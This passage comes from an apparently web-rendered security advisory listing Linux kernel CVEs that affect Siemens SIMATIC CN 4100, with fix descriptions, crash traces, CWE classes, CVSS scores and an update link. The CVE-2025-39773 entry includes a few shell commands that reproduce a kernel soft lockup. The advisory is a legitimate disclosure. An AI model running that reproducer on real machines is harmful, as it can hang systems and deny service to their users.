Specification by Caller\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39772\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: drm/hisilicon/hibmc: fix the hibmc loaded failed bug When hibmc loaded failed, the driver use hibmc_unload to free the resource, but the mutexes in mode.config are not init, which will access an NULL pointer. Just change goto statement to return, because hibnc_hw_init() doesn't need to free anything.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39773\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: net: bridge: fix soft lockup in br_multicast_query_expired() When set multicast_query_interval to a large value, the local variable 'time' in br_multicast_send_query() may overflow. If the time is smaller than jiffies, the timer will expire immediately, and then call mod_timer() again, which creates a loop and may trigger the following soft lockup issue. watchdog: BUG: soft lockup - CPU#1 stuck for 221s! [rb_consumer:66] CPU: 1 UID: 0 PID: 66 Comm: rb_consumer Not tainted 6.16.0+ #259 PREEMPT(none) Call Trace: __netdev_alloc_skb+0x2e/0x3a0 br_ip6_multicast_alloc_query+0x212/0x1b70 __br_multicast_send_query+0x376/0xac0 br_multicast_send_query+0x299/0x510 br_multicast_query_expired.constprop.0+0x16d/0x1b0 call_timer_fn+0x3b/0x2a0 __run_timers+0x619/0x950 run_timer_softirq+0x11c/0x220 handle_softirqs+0x18e/0x560 __irq_exit_rcu+0x158/0x1a0 sysvec_apic_timer_interrupt+0x76/0x90 This issue can be reproduced with: ip link add br0 type bridge echo 1 > /sys/class/net/br0/bridge/multicast_querier echo 0xffffffffffffffff > /sys/class/net/br0/bridge/multicast_query_interval ip link set dev br0 up The multicast_startup_query_interval can also cause this issue. Similar to the commit 99b40610956a (\"net: bridge: mcast: add and enforce query interval minimum\"), add check for the query interval maximum to fix this issue.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-667 Improper Locking\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39776\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: mm/debug_vm_pgtable: clear page table entries at destroy_args() The mm/debug_vm_pagetable test allocates manually page table entries for the tests it runs, using also its manually allocated mm_struct. That in itself is ok, but when it exits, at destroy_args() it fails to clear those entries with the *_clear functions. The problem is that leaves stale entries. If another process allocates an mm_struct with a pgd at the same address, it may end up running into the stale entry. This is happening in practice on a debug kernel with CONFIG_DEBUG_VM_PGTABLE=y, for example this is the output with some extra debugging I added (it prints a warning trace if pgtables_bytes goes negative, in addition to the warning at check_mm() function): [ 2.539353] debug_vm_pgtable: [get_random_vaddr ]: random_vaddr is 0x7ea247140000 [ 2.539366] kmem_cache info [ 2.539374] kmem_cachep 0x000000002ce82385 - freelist 0x0000000000000000 - offset 0x508 [ 2.539447] debug_vm_pgtable: [init_args ]: args->mm is 0x000000002267cc9e (...) [ 2.552800] WARNING: CPU: 5 PID: 116 at include/linux/mm.h:2841 free_pud_range+0x8bc/0x8d0 [ 2.552816] Modules linked in: [ 2.552843] CPU: 5 UID: 0 PID: 116 Comm: modprobe Not tainted 6.12.0-105.debug_vm2.el10.ppc64le+debug #1 VOLUNTARY [ 2.552859] Hardware name: IBM,9009-41A POWER9 (architected) 0x4e0202 0xf000005 of:IBM,FW910.00 (VL910_062) hv:phyp pSeries [ 2.552872] NIP: c0000000007eef3c LR: c0000000007eef30 CTR: c0000000003d8c90 [ 2.552885] REGS: c0000000622e73b0 TRAP: 0700 Not tainted (6.12.0-105.debug_vm2.el10.ppc64le+debug) [ 2.552899] MSR: 800000000282b033 CR: 24002822 XER: 0000000a [ 2.552954] CFAR: c0000000008f03f0 IRQMASK: 0 [ 2.552954] GPR00: c0000000007eef30 c0000000622e7650 c000000002b1ac00 0000000000000001 [ 2.552954] GPR04: 0000000000000008 0000000000000000 c0000000007eef30 ffffffffffffffff [ 2.552954] GPR08: 00000000ffff00f5 0000000000000001 0000000000000048 0000000000004000 [ 2.552954] GPR12: 00000003fa440000 c000000017ffa300 c0000000051d9f80 ffffffffffffffdb [ 2.552954] GPR16: 0000000000000000 0000000000000008 000000000000000a 60000000000000e0 [ 2.552954] GPR20: 4080000000000000 c0000000113af038 00007fffcf130000 0000700000000000 [ 2.552954] GPR24: c000000062a6a000 0000000000000001 8000000062a68000 0000000000000001 [ 2.552954] GPR28: 000000000000000a c000000062ebc600 0000000000002000 c000000062ebc760 [ 2.553170] NIP [c0000000007eef3c] free_pud_range+0x8bc/0x8d0 [ 2.553185] LR [c0000000007eef30] free_pud_range+0x8b0/0x8d0 [ 2.553199] Call Trace: [ 2.553207] [c0000000622e7650] [c0000000007eef30] free_pud_range+0x8b0/0x8d0 (unreliable) [ 2.553229] [c0000000622e7750] [c0000000007f40b4] free_pgd_range+0x284/0x3b0 [ 2.553248] [c0000000622e7800] [c0000000007f4630] free_pgtables+0x450/0x570 [ 2.553274] [c0000000622e78e0] [c0000000008161c0] exit_mmap+0x250/0x650 [ 2.553292] [c0000000622e7a30] [c0000000001b95b8] __mmput+0x98/0x290 [ 2.558344] [c0000000622e7a80] [c0000000001d1018] exit_mm+0x118/0x1b0 [ 2.558361] [c0000000622e7ac0] [c0000000001d141c] do_exit+0x2ec/0x870 [ 2.558376] [c0000000622e7b60] [c0000000001d1ca8] do_group_exit+0x88/0x150 [ 2.558391] [c0000000622e7bb0] [c0000000001d1db8] sys_exit_group+0x48/0x50 [ 2.558407] [c0000000622e7be0] [c00000000003d810] system_call_exception+0x1e0/0x4c0 [ 2.558423] [c0000000622e7e50] [c00000000000d05c] system_call_vectored_common+0x15c/0x2ec (...) [ 2.558892] ---[ end trace 0000000000000000 ]--- [ 2.559022] BUG: Bad rss-counter state mm:000000002267cc9e type:MM_ANONPAGES val:1 [ 2.559037] BUG: non-zero pgtables_bytes on freeing mm: -6144 Here the modprobe process ended up with an allocated mm_struct from the mm_struct slab that was used before by the debug_vm_pgtable test. That is not a problem, since the mm_stru ---truncated---\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39782\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: jbd2: prevent softlockup in jbd2_log_do_checkpoint() Both jbd2_log_do_checkpoint() and jbd2_journal_shrink_checkpoint_list() periodically release j_list_lock after processing a batch of buffers to avoid long hold times on the j_list_lock. However, since both functions contend for j_list_lock, the combined time spent waiting and processing can be significant. jbd2_journal_shrink_checkpoint_list() explicitly calls cond_resched() when need_resched() is true to avoid softlockups during prolonged operations. But jbd2_log_do_checkpoint() only exits its loop when need_resched() is true, relying on potentially sleeping functions like __flush_batch() or wait_on_buffer() to trigger rescheduling. If those functions do not sleep, the kernel may hit a softlockup. watchdog: BUG: soft lockup - CPU#3 stuck for 156s! [kworker/u129:2:373] CPU: 3 PID: 373 Comm: kworker/u129:2 Kdump: loaded Not tainted 6.6.0+ #10 Hardware name: Huawei TaiShan 2280 /BC11SPCD, BIOS 1.27 06/13/2017 Workqueue: writeback wb_workfn (flush-7:2) pstate: 20000005 (nzCv daif -PAN -UAO -TCO -DIT -SSBS BTYPE=--) pc : native_queued_spin_lock_slowpath+0x358/0x418 lr : jbd2_log_do_checkpoint+0x31c/0x438 [jbd2] Call trace: native_queued_spin_lock_slowpath+0x358/0x418 jbd2_log_do_checkpoint+0x31c/0x438 [jbd2] __jbd2_log_wait_for_space+0xfc/0x2f8 [jbd2] add_transaction_credits+0x3bc/0x418 [jbd2] start_this_handle+0xf8/0x560 [jbd2] jbd2__journal_start+0x118/0x228 [jbd2] __ext4_journal_start_sb+0x110/0x188 [ext4] ext4_do_writepages+0x3dc/0x740 [ext4] ext4_writepages+0xa4/0x190 [ext4] do_writepages+0x94/0x228 __writeback_single_inode+0x48/0x318 writeback_sb_inodes+0x204/0x590 __writeback_inodes_wb+0x54/0xf8 wb_writeback+0x2cc/0x3d8 wb_do_writeback+0x2e0/0x2f8 wb_workfn+0x80/0x2a8 process_one_work+0x178/0x3e8 worker_thread+0x234/0x3b8 kthread+0xf0/0x108 ret_from_fork+0x10/0x20 So explicitly call cond_resched() in jbd2_log_do_checkpoint() to avoid softlockup.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39783\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: PCI: endpoint: Fix configfs group list head handling Doing a list_del() on the epf_group field of struct pci_epf_driver in pci_epf_remove_cfs() is not correct as this field is a list head, not a list entry. This list_del() call triggers a KASAN warning when an endpoint function driver which has a configfs attribute group is torn down: ================================================================== BUG: KASAN: slab-use-after-free in pci_epf_remove_cfs+0x17c/0x198 Write of size 8 at addr ffff00010f4a0d80 by task rmmod/319 CPU: 3 UID: 0 PID: 319 Comm: rmmod Not tainted 6.16.0-rc2 #1 NONE Hardware name: Radxa ROCK 5B (DT) Call trace: show_stack+0x2c/0x84 (C) dump_stack_lvl+0x70/0x98 print_report+0x17c/0x538 kasan_report+0xb8/0x190 __asan_report_store8_noabort+0x20/0x2c pci_epf_remove_cfs+0x17c/0x198 pci_epf_unregister_driver+0x18/0x30 nvmet_pci_epf_cleanup_module+0x24/0x30 [nvmet_pci_epf] __arm64_sys_delete_module+0x264/0x424 invoke_syscall+0x70/0x260 el0_svc_common.constprop.0+0xac/0x230 do_el0_svc+0x40/0x58 el0_svc+0x48/0xdc el0t_64_sync_handler+0x10c/0x138 el0t_64_sync+0x198/0x19c ... Remove this incorrect list_del() call from pci_epf_remove_cfs().\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-787 Out-of-bounds Write\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.8\nHIGH\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39787\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: soc: qcom: mdt_loader: Ensure we don't read past the ELF header When the MDT loader is used in remoteproc, the ELF header is sanitized beforehand, but that's not necessary the case for other clients. Validate the size of the firmware buffer to ensure that we don't read past the end as we iterate over the header. e_phentsize and e_shentsize are validated as well, to ensure that the assumptions about step size in the traversal are valid.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-125 Out-of-bounds Read\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39788\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: scsi: ufs: exynos: Fix programming of HCI_UTRL_NEXUS_TYPE On Google gs101, the number of UTP transfer request slots (nutrs) is 32, and in this case the driver ends up programming the UTRL_NEXUS_TYPE incorrectly as 0. This is because the left hand side of the shift is 1, which is of type int, i.e. 31 bits wide. Shifting by more than that width results in undefined behaviour. Fix this by switching to the BIT() macro, which applies correct type casting as required. This ensures the correct value is written to UTRL_NEXUS_TYPE (0xffffffff on gs101), and it also fixes a UBSAN shift warning: UBSAN: shift-out-of-bounds in drivers/ufs/host/ufs-exynos.c:1113:21 shift exponent 32 is too large for 32-bit type 'int' For consistency, apply the same change to the nutmrs / UTMRL_NEXUS_TYPE write.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39790\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: bus: mhi: host: Detect events pointing to unexpected TREs When a remote device sends a completion event to the host, it contains a pointer to the consumed TRE. The host uses this pointer to process all of the TREs between it and the host's local copy of the ring's read pointer. This works when processing completion for chained transactions, but can lead to nasty results if the device sends an event for a single-element transaction with a read pointer that is multiple elements ahead of the host's read pointer. For instance, if the host accesses an event ring while the device is updating it, the pointer inside of the event might still point to an old TRE. If the host uses the channel's xfer_cb() to directly free the buffer pointed to by the TRE, the buffer will be double-freed. This behavior was observed on an ep that used upstream EP stack without 'commit 6f18d174b73d (\"bus: mhi: ep: Update read pointer only after buffer is written\")'. Where the device updated the events ring pointer before updating the event contents, so it left a window where the host was able to access the stale data the event pointed to, before the device had the chance to update them. The usual pattern was that the host received an event pointing to a TRE that is not immediately after the last processed one, so it got treated as if it was a chained transaction, processing all of the TREs in between the two read pointers. This commit aims to harden the host by ensuring transactions where the event points to a TRE that isn't local_rp + 1 are chained. [mani: added stable tag and reworded commit message]\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-415 Double Free\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n6.7\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39794\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: ARM: tegra: Use I/O memcpy to write to IRAM Kasan crashes the kernel trying to check boundaries when using the normal memcpy.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.1\nHIGH\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39795\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: block: avoid possible overflow for chunk_sectors check in blk_stack_limits() In blk_stack_limits(), we check that the t->chunk_sectors value is a multiple of the t->physical_block_size value. However, by finding the chunk_sectors value in bytes, we may overflow the unsigned int which holds chunk_sectors, so change the check to be based on sectors.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-674 Uncontrolled Recursion\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39798\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: NFS: Fix the setting of capabilities when automounting a new filesystem Capabilities cannot be inherited when we cross into a new filesystem. They need to be reset to the minimal defaults, and then probed for again.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-273 Improper Check for Dropped Privileges\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39800\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: btrfs: abort transaction on unexpected eb generation at btrfs_copy_root() If we find an unexpected generation for the extent buffer we are cloning at btrfs_copy_root(), we just WARN_ON() and don't error out and abort the transaction, meaning we allow to persist metadata with an unexpected generation. Instead of warning only, abort the transaction and return -EUCLEAN.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39801\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: usb: dwc3: Remove WARN_ON for device endpoint command timeouts This commit addresses a rarely observed endpoint command timeout which causes kernel panic due to warn when 'panic_on_warn' is enabled and unnecessary call trace prints when 'panic_on_warn' is disabled. It is seen during fast software-controlled connect/disconnect testcases. The following is one such endpoint command timeout that we observed: 1. Connect ======= ->dwc3_thread_interrupt ->dwc3_ep0_interrupt ->configfs_composite_setup ->composite_setup ->usb_ep_queue ->dwc3_gadget_ep0_queue ->__dwc3_gadget_ep0_queue ->__dwc3_ep0_do_control_data ->dwc3_send_gadget_ep_cmd 2. Disconnect ========== ->dwc3_thread_interrupt ->dwc3_gadget_disconnect_interrupt ->dwc3_ep0_reset_state ->dwc3_ep0_end_control_data ->dwc3_send_gadget_ep_cmd In the issue scenario, in Exynos platforms, we observed that control transfers for the previous connect have not yet been completed and end transfer command sent as a part of the disconnect sequence and processing of USB_ENDPOINT_HALT feature request from the host timeout. This maybe an expected scenario since the controller is processing EP commands sent as a part of the previous connect. It maybe better to remove WARN_ON in all places where device endpoint commands are sent to avoid unnecessary kernel panic due to warn.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39806\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: HID: multitouch: fix slab out-of-bounds access in mt_report_fixup() A malicious HID device can trigger a slab out-of-bounds during mt_report_fixup() by passing in report descriptor smaller than 607 bytes. mt_report_fixup() attempts to patch byte offset 607 of the descriptor with 0x25 by first checking if byte offset 607 is 0x15 however it lacks bounds checks to verify if the descriptor is big enough before conducting this check. Fix this bug by ensuring the descriptor size is at least 608 bytes before accessing it. Below is the KASAN splat after the out of bounds access happens: [ 13.671954] ================================================================== [ 13.672667] BUG: KASAN: slab-out-of-bounds in mt_report_fixup+0x103/0x110 [ 13.673297] Read of size 1 at addr ffff888103df39df by task kworker/0:1/10 [ 13.673297] [ 13.673297] CPU: 0 UID: 0 PID: 10 Comm: kworker/0:1 Not tainted 6.15.0-00005-gec5d573d83f4-dirty #3 [ 13.673297] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.2-debian-1.16.2-1 04/04 [ 13.673297] Call Trace: [ 13.673297] [ 13.673297] dump_stack_lvl+0x5f/0x80 [ 13.673297] print_report+0xd1/0x660 [ 13.673297] kasan_report+0xe5/0x120 [ 13.673297] __asan_report_load1_noabort+0x18/0x20 [ 13.673297] mt_report_fixup+0x103/0x110 [ 13.673297] hid_open_report+0x1ef/0x810 [ 13.673297] mt_probe+0x422/0x960 [ 13.673297] hid_device_probe+0x2e2/0x6f0 [ 13.673297] really_probe+0x1c6/0x6b0 [ 13.673297] __driver_probe_device+0x24f/0x310 [ 13.673297] driver_probe_device+0x4e/0x220 [ 13.673297] __device_attach_driver+0x169/0x320 [ 13.673297] bus_for_each_drv+0x11d/0x1b0 [ 13.673297] __device_attach+0x1b8/0x3e0 [ 13.673297] device_initial_probe+0x12/0x20 [ 13.673297] bus_probe_device+0x13d/0x180 [ 13.673297] device_add+0xe3a/0x1670 [ 13.673297] hid_add_device+0x31d/0xa40 [...]\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39808\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: HID: hid-ntrig: fix unable to handle page fault in ntrig_report_version() in ntrig_report_version(), hdev parameter passed from hid_probe(). sending descriptor to /dev/uhid can make hdev->dev.parent->parent to null if hdev->dev.parent->parent is null, usb_dev has invalid address(0xffffffffffffff58) that hid_to_usb_dev(hdev) returned when usb_rcvctrlpipe() use usb_dev,it trigger page fault error for address(0xffffffffffffff58) add null check logic to ntrig_report_version() before calling hid_to_usb_dev()\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div 